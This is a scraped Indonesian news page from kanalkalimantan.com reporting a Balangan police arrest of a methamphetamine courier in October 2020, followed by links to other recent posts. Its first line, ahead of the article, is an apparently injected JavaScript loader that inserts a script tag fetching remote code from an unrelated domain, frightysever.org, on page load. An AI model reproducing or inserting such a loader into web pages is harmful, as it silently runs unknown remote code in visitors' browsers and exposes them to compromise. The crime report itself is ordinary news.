(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: KRIMINAL BALANGAN

Melintas di Jalan Desa Lamida Bawah, Kurir Sabu Ditangkap Resnarkoba Polres Balangan


KANALKALIMANTAN.COM, PARINGIN – Seorang kurir sabu berinisial YFP (35), warga Desa Bata RT 002 Kecamatan Juai, Kabupaten Balangan, diamankan jajaran Satres Narkoba Polres Balangan.

Penangkapan dilakukan di jalan Desa Lamida Bawah, Kecamatan Paringin, Kabupaten Balangan, Minggu, (25/10/2020) lalu.

Kapolres Balangan AKBP Nur Khamid melalui Kasat Reserse Narkoba Polres Balangan AKP Manaris Hutapea menerangkan, penangkapan terduga pelaku kurir sabu itu informasinya dari masyarakat bahwa ada seseorang yang membawa narkotika jenis sabu dari Kabupaten Hulu Sungai Utara (HSU) menuju Kabupaten Balangan.

“Berdasarkan informasi itulah kami melakukan penyelidikan. Dari informasi itu juga, pihaknya mendapatkan beberapa data tentang pelaku. Di antaranya perihal kendaraan roda dua yang digunakan pelaku,” ujar AKP Manaris Hutapea, Selasa (27/10/2020).

Tak berselang beberapa hari kemudian, terang Manaris, pelaku melintas di jalan Desa Lamida Bawah. Karena pelaku dianggap sesuai dengan ciri-ciri yang dilaporkan, YFP diberhentikan oleh pihak kepolisian. Setelah diberhentikan, dilakukan upaya penggeledahan badan terhadap pelaku.

Tatkala digeledah ditemukan lima paket serbuk kristal dibungkus dengan plastik klip warna bening yang diduga narkotika jenis sabu, sehingga YFP pun ditangkap.

Benda yang terbungkus plastik warna bening berada di saku celana kanan YFP. Ketika ditanya polisi, YFP mengatakan narkotika jenis sabu itu adalah miliknya. Atas tindakan itu, dia dan barang bukti dibawa ke Mapolres Balangan untuk proses lebih lanjut.

Ditegaskan Manaris, YFP telah dianggap melakukan kasus tindak pidana peredaran gelap narkotika jenis sabu, sebagaimana dimaksud dalam pasal 114 ayat (1) sub pasal 112 Ayat (1) Undang-Undang RI Nomor 35 tahun 2009 tentang narkotika. (kanalkalimantan.com/pr)

 

Editor : Bie


Desy Arfianty

Recent Posts

Muhidin Gubernur Kalsel Definitif, 7 Februari 2025 Kembali Dilantik

KANALKALIMANTAN.COM, JAKARTA - Setelah hampir sebulan mejabat Plt (Pelaksana tugas) Gubernur Kalimantan Selatan (Kalsel), H… Read More

2 jam ago

Atasi Persimpangan Tak Beraturan, APILL LIK Liang Anggang Siap Beroperasi

KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Provinsi Kalimantan Selatan (Kalsel) memasang titik Alat Pemberi Isyarat… Read More

5 jam ago

BPBD Balangan Tetapkan Status Siaga Bencana Batingsor Hingga April 2025

KANALKALIMANTAN.COM, PARINGIN - Antisipasi dan kesiapsiagaan menghadapi bencana banjir, puting beliung dan tanah longsor (Batingsor),… Read More

7 jam ago

Jelang Nataru PLN Pastikan Kesiapan Infrastruktur dan Layanan Kelistrikan Andal

KANALKALIMANTAN.COM, JAKARTA - Menjelang perayaan hari besar Natal 2024 dan pergantian tahun ke 2025, PT… Read More

7 jam ago

Banjarmasin Dilanda Banjir Rob, Jalan Kampus ULM Tergenang

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob melanda sejumlah wilayah di Kota Banjarmasin, Provinsi Kalimantan Selatan (Kalsel).… Read More

8 jam ago

HUT Ke-129, BRI Tawarkan Promo Spesial KPR

KANALKALIMANTAN.COM - PT Bank Rakyat Indonesia (Persero) Tbk atau BRI menghadirkan Program Spesial KPR BRI.… Read More

10 jam ago

This website uses cookies.